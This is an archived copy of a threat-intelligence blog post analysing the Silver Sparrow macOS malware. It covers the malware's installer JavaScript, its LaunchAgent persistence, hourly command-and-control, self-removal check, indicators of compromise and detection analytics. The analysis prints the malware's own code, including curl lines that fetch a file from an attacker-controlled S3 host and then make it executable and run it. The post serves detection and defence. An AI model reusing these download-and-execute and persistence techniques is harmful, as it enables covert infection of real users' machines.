{
	"id": "773c19a5-bda4-4f5f-a480-c7bfc723bdff",
	"created_at": "2026-04-06T00:06:19.166289Z",
	"updated_at": "2026-04-10T03:21:17.767684Z",
	"deleted_at": null,
	"sha1_hash": "1cae3f4e30f5247c08a2707db7960157788bec8c",
	"title": "Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 147903,
	"plain_text": "Clipping Silver Sparrow’s wings: Outing macOS malware before it\r\ntakes flight\r\nBy Brian Donohue\r\nPublished: 2021-02-18 · Archived: 2026-04-05 21:31:23 UTC\r\nUPDATE on 05/21/2021: A previous version of this blog stated that, “…Silver Sparrow had infected 29,139\r\nmacOS endpoints….” We have updated it to state that the Silver Sparrow activity cluster affected 29,139 macOS\r\nendpoints. This distinction may seem small, but it’s important because the Silver Sparrow activity cluster\r\ncomprises multiple artifacts, including clearly malicious files and unusual or suspicious ones too. One file we\r\nchose to include in the cluster is the `._insu` file that seems to instruct the malware to remove itself from an\r\nendpoint. A subset of those 29,139 machines were infected by one of the two malicious packages described in this\r\nblog, while the majority contained the `._insu` file check and were therefore affected by the overall Silver Sparrow\r\nactivity cluster as we define it. Other teams may cluster this activity differently based on their assessments.\r\nEarlier this month, Red Canary detection engineers Wes Hurd and Jason Killam came across a strain of macOS\r\nmalware using a LaunchAgent to establish persistence. Nothing new there. However, our investigation almost\r\nimmediately revealed that this malware, whatever it was, did not exhibit the behaviors that we’ve come to expect\r\nfrom the usual adware that so often targets macOS systems. The novelty of this downloader arises primarily from\r\nthe way it uses JavaScript for execution—something we hadn’t previously encountered in other macOS malware\r\n—and the emergence of a related binary compiled for Apple’s new M1 ARM64 architecture.\r\nWe’ve dubbed this activity cluster “Silver Sparrow.”\r\nThanks to contributions from Erika Noerenberg and Thomas Reed from Malwarebytes and Jimmy Astle from\r\nVMware Carbon Black, we quickly realized that we were dealing with what appeared to be a previously\r\nundetected strain of malware.\r\nAccording to data provided by Malwarebytes, the Silver Sparrow activity cluster affected 29,139 macOS\r\nendpoints across 153 countries as of February 17, including high volumes of detection in the United States, the\r\nUnited Kingdom, Canada, France, and Germany.\r\nThough we haven’t observed Silver Sparrow delivering additional malicious payloads yet, its forward-looking M1\r\nchip compatibility, global reach, relatively high infection rate, and operational maturity suggest Silver Sparrow is\r\na reasonably serious threat, uniquely positioned to deliver a potentially impactful payload at a moment’s notice.\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 1 of 13\n\nGiven these causes for concern, in the spirit of transparency, we wanted to share everything we know with the\r\nbroader infosec industry sooner rather than later.\r\nThe rest of this post will be organized into the following sections:\r\nA technical analysis of two Silver Sparrow malware samples\r\nAn explanation of intelligence gaps and blindspots\r\nGuidance on detection opportunities for Silver Sparrow\r\nA list of indicators that we’ve encountered while investigating this threat\r\nTechnical analysis\r\nWhat we analyzed\r\nOur investigation uncovered two versions of Silver Sparrow malware, which we will refer to as “version 1” and\r\n“version 2” throughout this post (see the Indicators of Compromise section for a summary of indicators\r\nsurrounding these two samples):\r\nMalware version 1\r\nFile name: updater.pkg (installer package for v1)\r\nMD5: 30c9bc7d40454e501c358f77449071aa\r\nVirusTotal sample\r\nMalware version 2\r\nFile name: update.pkg (installer package for v2)\r\nMD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149\r\nVirusTotal sample\r\nOutside of a change in download URLs and script comments, the two versions had only one major difference. The\r\nfirst version contained a Mach-O binary compiled for Intel x86_64 architecture only ( updater MD5:\r\nc668003c9c5b1689ba47a431512b03cc). In the second version, the adversary included a Mach-O binary compiled\r\nfor both Intel x86_64 and M1 ARM64 architectures ( tasker MD5: b370191228fef82635e39a137be470af). This\r\nis significant because the M1 ARM64 architecture is young, and researchers have uncovered very few threats for\r\nthe new platform.\r\nAs we’ll explain in detail in the technical analysis, the Mach-O compiled binaries don’t seem to do all that much\r\n—at least not as of this writing—and so we’ve been calling them “bystander binaries.” The following image\r\nrepresents a high-level look at the two versions of Silver Sparrow malware.\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 2 of 13\n\nJavaScript in the installer\r\nWe’ve found that many macOS threats are distributed through malicious advertisements as single, self-contained\r\ninstallers in PKG or DMG form, masquerading as a legitimate application—such as Adobe Flash Player—or as\r\nupdates. In this case, however, the adversary distributed the malware in two distinct packages: updater.pkg and\r\nupdate.pkg . Both versions use the same techniques to execute, differing only in the compilation of the bystander\r\nbinary.\r\nIn order of appearance, the first novel and noteworthy thing about Silver Sparrow is that its installer packages\r\nleverage the macOS Installer JavaScript API to execute suspicious commands. While we’ve observed legitimate\r\nsoftware doing this, this is the first instance we’ve observed it in malware. This is a deviation from behavior we\r\nusually observe in malicious macOS installers, which generally use preinstall or postinstall scripts to execute\r\ncommands . In preinstall and postinstall cases, the installation generates a particular telemetry pattern that tends to\r\nlook something like the following:\r\nParent process: package_script_service\r\nProcess: bash , zsh , sh , Python, or another interpreter\r\nCommand line: contains preinstall or postinstall\r\nThis telemetry pattern isn’t a particularly high-fidelity indicator of maliciousness on its own because even\r\nlegitimate software uses the scripts, but it does reliably identify installers using preinstall and postinstall scripts in\r\ngeneral. Silver Sparrow differs from what we expect to see from malicious macOS installers by including\r\nJavaScript commands within the package file’s Distribution definition XML file. This produces a different\r\ntelemetry pattern:\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 3 of 13\n\nParent process: Installer\r\nProcess: bash\r\nAs with preinstall and postinstall scripts, this telemetry pattern isn’t enough to identify malicious behavior on its\r\nown. Preinstall and postinstall scripts include command-line arguments that offer clues into what’s actually getting\r\nexecuted. The malicious JavaScript commands, on the other hand, run using the legitimate macOS Installer\r\nprocess and offer very little visibility into the contents of the installation package or how that package uses the\r\nJavaScript commands.\r\nThe entry point to the code lives within the package’s Distribution definition XML file, which contains an\r\ninstallation-check tag specifying what function to execute during the “Installation Check” phase:\r\nThe installer used three JavaScript functions for all the heavy lifting inside the “installation_check()” function :\r\nfunction bash(command) {\r\n system.run('/bin/bash', '-c', command)\r\n }\r\n function appendLine(line, file)\r\n {\r\n bash(`printf \"%b\\n\" '${line}' \u003e\u003e ${file}`)\r\n }\r\n function appendLinex(line, file)\r\n {\r\n bash(`\"echo\" ${line} \u003e\u003e ${file}`)\r\n }\r\n function appendLiney(line, file)\r\n {\r\n bash(`printf \"%b\" '${line}' \u003e\u003e ${file}`)\r\n }\r\nNote that in the code above, Silver Sparrow uses Apple’s system.run command for execution. Apple\r\ndocumented the system.run code as launching “a given program in the Resources directory of the installation\r\npackage,” but it’s not limited to using the Resources directory. As observed with Silver Sparrow, you can provide\r\nthe full path to a process for execution and its arguments. By taking this route, the malware causes the installer to\r\nspawn multiple bash processes that it can then use to accomplish its objectives.\r\nThe functions appendLine , appendLinex , and appendLiney extend the bash commands with arguments that\r\nwrite input to files on disk. Silver Sparrow writes each of its components out line by line with JavaScript\r\ncommands:\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 4 of 13\n\nappendLine(`initTime=\\$1`, updaterMonitorPath)\r\nappendLine(`/usr/bin/curl ${url} \u003e /tmp/version.json`, updaterMonitorPath)\r\nappendLine(`plutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist`, updaterMonitorPath)\r\nappendLine(`wait=$(/usr/libexec/PlistBuddy -c \"Print :dls\" /tmp/version.plist)`, updaterMonitorPath)\r\nappendLine(`wait=\\$((\\$wait* 60 ))`, updaterMonitorPath)\r\nappendLine(`instVersion=1`, updaterMonitorPath)\r\nThis approach may avoid simple static signatures by dynamically generating the script rather than using a static\r\nscript file. In addition, the commands let the adversary quickly modify the code to be much more versatile should\r\nthey decide to make a change. Altogether, it means the adversary was likely attempting to evade detection and\r\nease development.\r\nOnce all the commands get written, two new scripts exist on disk: /tmp/agent.sh and ~/Library/Application\r\nSupport/verx_updater/verx.sh . The agent.sh script executes immediately at the end of the installation to\r\ncontact an adversary-controlled system and indicate that installation occurred. The verx.sh script executes\r\nperiodically because of a persistent LaunchAgent to contact a remote host for more information.\r\nEveryone needs a (Plist)Buddy\r\nOur initial indication of malicious activity was the PlistBuddy process creating a LaunchAgent, so let’s explore\r\nthe significance of that.\r\nLaunchAgents provide a way to instruct launchd , the macOS initialization system, to periodically or\r\nautomatically execute tasks. They can be written by any user on the endpoint, but they will usually also execute as\r\nthe user that writes them. For example, if the user tlambert writes ~/Library/LaunchAgents/evil.plist the\r\ntasks described in evil.plist will usually execute as tlambert . For more information, refer to Apple’s\r\ndocumentation.\r\nWhile tools like osquery and antimalware controls have excellent visibility into the contents of LaunchAgents,\r\nsome endpoint detection and response (EDR) tools have a hard time gaining visibility into LaunchAgents. EDR\r\ntooling tends to rely on process monitoring that offers a great deal of visibility into the creation—but not\r\nnecessarily the contents—of a file. For example, an EDR tool might offer you the following shell command:\r\ncp /Volumes/TotesLegit.app/Resources/launcher.plist ~/Library/LaunchAgents/launcher.plist\r\nAs a result, detecting a persistence mechanism in the form of a malicious LaunchAgent can be extremely difficult\r\nusing EDR alone because it requires you to analyze surrounding activity to make a decision about the installer\r\nitself. In other words: you know that the LaunchAgent can be used as a persistence mechanism, but—since you\r\nmight not be able to see the contents of the LaunchAgent file—you have to rely on context to determine the intent\r\nof that LaunchAgent.\r\nThankfully, there are multiple ways to create property lists (plists) on macOS, and sometimes adversaries use\r\ndifferent methods to achieve their needs. One such way is through PlistBuddy , a built-in tool that allows you to\r\ncreate various property lists on an endpoint, including LaunchAgents. Sometimes adversaries turn to PlistBuddy\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 5 of 13\n\nto establish persistence, and doing so enables defenders to readily inspect the contents of a LaunchAgent using\r\nEDR because all the properties of the file get shown on the command line before writing. In Silver Sparrow’s\r\ncase, we observed commands writing the content of the plist:\r\nPlistBuddy -c \"Add :Label string init_verx\" ~/Library/Launchagents/init_verx.plist\r\nPlistBuddy -c \"Add :RunAtLoad bool true\" ~/Library/Launchagents/init_verx.plist\r\nPlistBuddy -c \"Add :StartInterval integer 3600\" ~/Library/Launchagents/init_verx.plist\r\nPlistBuddy -c \"Add :ProgramArguments array\" ~/Library/Launchagents/init_verx.plist\r\nPlistBuddy -c \"Add :ProgramArguments:0 string '/bin/sh'\" ~/Library/Launchagents/init_verx.plist\r\nPlistBuddy -c \"Add :ProgramArguments:1 string -c\" ~/Library/Launchagents/init_verx.plist\r\nIn its final form on disk, the LaunchAgent Plist XML will resemble the following:\r\n Label\r\n init_verx\r\n RunAtLoad\r\n true\r\n StartInterval\r\n 3600\r\n ProgramArguments\r\n \r\n '/bin/sh'\r\n -c\r\n \"~/Library/Application\\\\ Support/verx_updater/verx.sh\" [timestamp] [data from plist downloaded] 1\r\n \r\nCommand and control (C2)\r\nEvery hour, the persistence LaunchAgent tells launchd to execute a shell script that downloads a JSON file to\r\ndisk, converts it into a plist, and uses its properties to determine further actions.\r\ncurl hxxps://specialattributes.s3.amazonaws[.]com/applications/updater/ver.json \u003e /tmp/version.json\r\nplutil -convert xml1 -r /tmp/version.json -o /tmp/version.plist\r\n...\r\ncurl $(/usr/libexec/PlistBuddy -c \"Print :downloadUrl\" /tmp/version.plist) --output /tmp/verx\r\nchmod 777 /tmp/verx\r\n/tmp/verx upbuchupsf\r\nThe structure of the downloaded version.json file looks like this:\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 6 of 13\n\n{\"version\":2,\"label\":\"verx\",\"args\":\"upbuchupsf\",\"dls\":4320,\"run\":true,\"loc\":\"~\\/Library\\/._insu\",\"downloadUrl\"\r\nEvery hour that downloadUrl property gets checked for additional content to download and executes. After\r\nobserving the malware for over a week, neither we nor our research partners observed a final payload, leaving the\r\nultimate goal of Silver Sparrow activity a mystery.\r\nSilver Sparrow’s use of infrastructure hosted on AWS S3 is interesting because AWS offers a highly available and\r\nresilient file distribution method. The adversary can create a bucket, serve out files, and operate without worrying\r\nabout the additional network administration and overhead associated with doing all of this in house. In addition,\r\ncallback domains for this activity cluster leveraged domains hosted through Akamai CDN. This implies that the\r\nadversary likely understands cloud infrastructure and its benefits over a single server or non-resilient system.\r\nFurther, the adversary that likely understands this hosting choice allows them to blend in with the normal\r\noverhead of cloud infrastructure traffic. Most organizations cannot afford to block access to resources in AWS and\r\nAkamai. The decision to use AWS infrastructure further supports our assessment that this is an operationally\r\nmature adversary.\r\nMysteries on mysteries\r\nIn addition to the payload mystery, Silver Sparrow includes a file check that causes the removal of all persistence\r\nmechanisms and scripts. It checks for the presence of ~/Library/._insu on disk, and, if the file is present, Silver\r\nSparrow removes all of its components from the endpoint. Hashes reported from Malwarebytes\r\n( d41d8cd98f00b204e9800998ecf8427e ) indicated that the ._insu file was empty. The presence of this feature is\r\nalso something of a mystery.\r\nif [ -f ~/Library/._insu ]\r\n then\r\n rm ~/Library/Launchagents/verx.plist\r\n rm ~/Library/Launchagents/init_verx.plist\r\n rm /tmp/version.json\r\n rm /tmp/version.plist\r\n rm /tmp/verx\r\n rm -r ~/Library/Application\\\\ Support/verx_updater\r\n rm /tmp/agent.sh\r\n launchctl remove init_verx\r\nThe ._insu file does not appear present by default on macOS, and we currently don’t know the circumstances\r\nunder which the file appears.\r\nThe final callback\r\nAt the end of the installation, Silver Sparrow executes two discovery commands to construct data for a curl\r\nHTTP POST request indicating that the installation occurred. One retrieves the system UUID for reporting, and\r\nthe second finds more interesting information: the URL used to download the original package file.\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 7 of 13\n\nBy executing a sqlite3 query, the malware finds the original URL the PKG downloaded from, giving the adversary\r\nan idea of successful distribution channels. We commonly see this kind of activity with malicious adware on\r\nmacOS.\r\nsqlite3 sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLSt\r\nHello, World: bystander binaries\r\nThe first version of Silver Sparrow malware ( updater.pkg MD5: 30c9bc7d40454e501c358f77449071aa) that\r\nwe analyzed contained an extraneous Mach-O binary ( updater MD5: c668003c9c5b1689ba47a431512b03cc),\r\ncompiled for Intel x86_64 that appeared to play no additional role in the Silver Sparrow execution. Ultimately this\r\nbinary seems to have been included as placeholder content to give the PKG something to distribute outside the\r\nJavaScript execution. It simply says, “Hello, World!” (literally!)\r\nv1 Image Credit: Erika Noerenberg\r\nThe second version ( update.pkg MD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149) also included an extraneous\r\nMach-O binary ( tasker MD5: b370191228fef82635e39a137be470af) that was compiled to be compatible with\r\nboth Intelx86_64 and M1 ARM64. Like before, this binary seems to have been included as a placeholder—this\r\ntime, displaying the message “You did it!”\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 8 of 13\n\nv2 Image Credit: Jimmy Astle\r\nYou can observe the dual architecture support from version 2 of the extraneous Mach-O binary by checking out\r\nthe output of file command on macOS or Linux systems examining the binary:\r\ntasker: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit x86_64 executable, flags\r\nBy contrast, the output of the file command from the extraneous Mach-O binary in version 1 would look like\r\nthe following:\r\nupdater: Mach-O 64-bit x86_64 executable, flags:\u003cNOUNDEFS|DYLDLINK|TWOLEVEL|PIE\u003e\r\nTimeline\r\nWe don’t have a complete picture of exactly when Silver Sparrow first emerged, but we’ve been able to construct\r\nthe following timeline through a mix of open source intelligence and Red Canary telemetry:\r\n1. August 18, 2020: Malware version 1 (non-M1 version) callback domain api.mobiletraits[.]com created\r\n(source)\r\n2. August 31, 2020: Malware version 1 (non-M1 version) submitted to VirusTotal (source)\r\n3. September 2, 2020: version.json file seen during malware version 2 execution submitted to VirusTotal\r\n(source)\r\n4. December 5, 2020: Malware version 2 (M1 version) callback domain created\r\napi.specialattributes[.]com created (source)\r\n5. January 22, 2021: PKG file version 2 (containing a M1 binary) submitted to VirusTotal (source)\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 9 of 13\n\n6. January 26, 2021: Red Canary detects Silver Sparrow malware version 1\r\n7. February 9, 2021: Red Canary detects Silver Sparrow malware version 2 (M1 version)\r\nIntelligence gaps\r\nAt the time of publishing, we’ve identified a few unknown factors related to Silver Sparrow that we either don’t\r\nhave visibility into or simply enough time hasn’t passed to observe. First, we aren’t certain of the initial\r\ndistribution method for the PKG files. We suspect that malicious search engine results direct victims to download\r\nthe PKGs based on network connections from a victim’s browser shortly before download. In this case we can’t be\r\ncertain because we don’t have the visibility to determine exactly what caused the download.\r\nNext, we don’t know the circumstances under which ~/Library/._insu appears. This file may be part of a\r\ntoolset the adversary wishes to avoid; it may be part of the malware’s life cycle itself as a way of removing\r\ncomponents after an objective has been met.\r\nIn addition, the ultimate goal of this malware is a mystery. We have no way of knowing with certainty what\r\npayload would be distributed by the malware, if a payload has already been delivered and removed, or if the\r\nadversary has a future timeline for distribution. Based on data shared with us by Malwarebytes, the nearly 30,000\r\naffected hosts have not downloaded what would be the next or final payload.\r\nFinally, the purpose of the Mach-O binary included inside the PKG files is also a mystery. Based on the data from\r\nscript execution, the binary would only run if a victim intentionally sought it out and launched it. The messages\r\nwe observed of “Hello, World!” or “You did it!” could indicate the threat is under development in a proof-of-concept stage or that the adversary just needed an application bundle to make the package look legitimate.\r\nDetection opportunities\r\nThe following section includes descriptions of the analytics that have helped us detect the Silver Sparrow\r\ndownloader. That said, we didn’t build these analytics specifically for the purpose of detecting Silver Sparrow, so\r\nthey may be useful for detecting a wide array of macOS threats. If one of these analytics alerts you to potentially\r\nmalicious activity, we recommend searching for the presence of indicators (listed below) to confirm whether you\r\nare dealing with a Silver Sparrow infection or something else.\r\nLook for a process that appears to be PlistBuddy executing in conjunction with a command line\r\ncontaining the following: LaunchAgents and RunAtLoad and true . This analytic helps us find multiple\r\nmacOS malware families establishing LaunchAgent persistence.\r\nLook for a process that appears to be sqlite3 executing in conjunction with a\r\ncommand line that contains: LSQuarantine . This analytic helps us find multiple macOS malware families\r\nmanipulating or searching metadata for downloaded files.\r\nLook for a process that appears to be curl executing in conjunction with a command line that contains:\r\ns3.amazonaws.com . This analytic helps us find multiple macOS malware families using S3 buckets for\r\ndistribution.\r\nIndicators of Compromise\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 10 of 13\n\nIn Versions 1 \u0026 2\r\n~/Library/._insu (empty file used to signal the malware to delete itself)\r\n/tmp/agent.sh (shell script executed for installation callback)\r\n/tmp/version.json (file downloaded from from S3 to determine execution flow)\r\n/tmp/version.plist (version.json converted into a property list)\r\nMalware Version 1\r\nFile name: updater.pkg (installer package for v1)\r\nMD5: 30c9bc7d40454e501c358f77449071aa\r\nFile name: updater (bystander Mach-O Intel binary in v1 package)\r\nMD5: c668003c9c5b1689ba47a431512b03cc\r\nmobiletraits.s3.amazonaws[.]com (S3 bucket holding version.json for v1)\r\n~/Library/Application Support/agent_updater/agent.sh (v1 script that executes every hour)\r\n/tmp/agent (file containing final v1 payload if distributed)\r\n~/Library/Launchagents/agent.plist (v1 persistence mechanism)\r\n~/Library/Launchagents/init_agent.plist (v1 persistence mechanism)\r\nDeveloper ID Saotia Seay (5834W6MYX3) – v1 bystander binary signature revoked by Apple\r\nPackage content and structure\r\n.\r\n├── Distribution *\r\n└── updater.pkg\r\n ├── Bom\r\n ├── PackageInfo\r\n ├── Payload\r\n └── updater.app\r\n └── Contents\r\n ├── _CodeSignature\r\n │ └── CodeResources\r\n ├── Info.plist\r\n ├── MacOS\r\n │ └── updater *\r\n ├── PkgInfo\r\n └── Resources\r\n └── Base.lproj\r\n └── Main.storyboardc\r\n ├── Info.plist\r\n └── MainMenu.nib\r\n(*) Contains executable code\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 11 of 13\n\nMalware Version 2\r\nFile name: update.pkg (installer package for v2)\r\nMD5: fdd6fb2b1dfe07b0e57d4cbfef9c8149\r\ntasker.app/Contents/MacOS/tasker (bystander Mach-O Intel \u0026 M1 binary in v2)\r\nMD5: b370191228fef82635e39a137be470af\r\nspecialattributes.s3.amazonaws[.]com (S3 bucket holding version.json for v2)\r\n~/Library/Application Support/verx_updater/verx.sh (v2 script that executes every hour)\r\n/tmp/verx (file containing final v2 payload if distributed)\r\n~/Library/Launchagents/verx.plist (v2 persistence mechanism)\r\n~/Library/Launchagents/init_verx.plist (v2 persistence mechanism)\r\nDeveloper ID Julie Willey (MSZ3ZH74RK) – v2 bystander binary signature revoked by Apple\r\nPackage content and structure\r\n.\r\n├── Distribution *\r\n└── tasker.pkg\r\n ├── Bom\r\n ├── PackageInfo\r\n ├── Payload\r\n └── tasker.app\r\n └── Contents\r\n ├── _CodeSignature\r\n │ └── CodeResources\r\n ├── Info.plist\r\n ├── MacOS\r\n │ └── tasker *\r\n ├── PkgInfo\r\n └── Resources\r\n └── Base.lproj\r\n └── Main.storyboardc\r\n ├── Info.plist\r\n └── MainMenu.nib\r\n(*) Contains executable code\r\nIf you’ve been tracking similar activity, we’d love to hear from you and collaborate. Contact blog@redcanary.com\r\nwith any observations or questions.\r\nRelated Articles\r\nSubscribe to our blog\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 12 of 13\n\nYou'll receive a weekly email with our new blog posts.\r\nSource: https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nhttps://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis"
	],
	"report_names": [
		"#technical-analysis"
	],
	"threat_actors": [],
	"ts_created_at": 1775433979,
	"ts_updated_at": 1775791277,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1cae3f4e30f5247c08a2707db7960157788bec8c.pdf",
		"text": "https://archive.orkl.eu/1cae3f4e30f5247c08a2707db7960157788bec8c.txt",
		"img": "https://archive.orkl.eu/1cae3f4e30f5247c08a2707db7960157788bec8c.jpg"
	}
}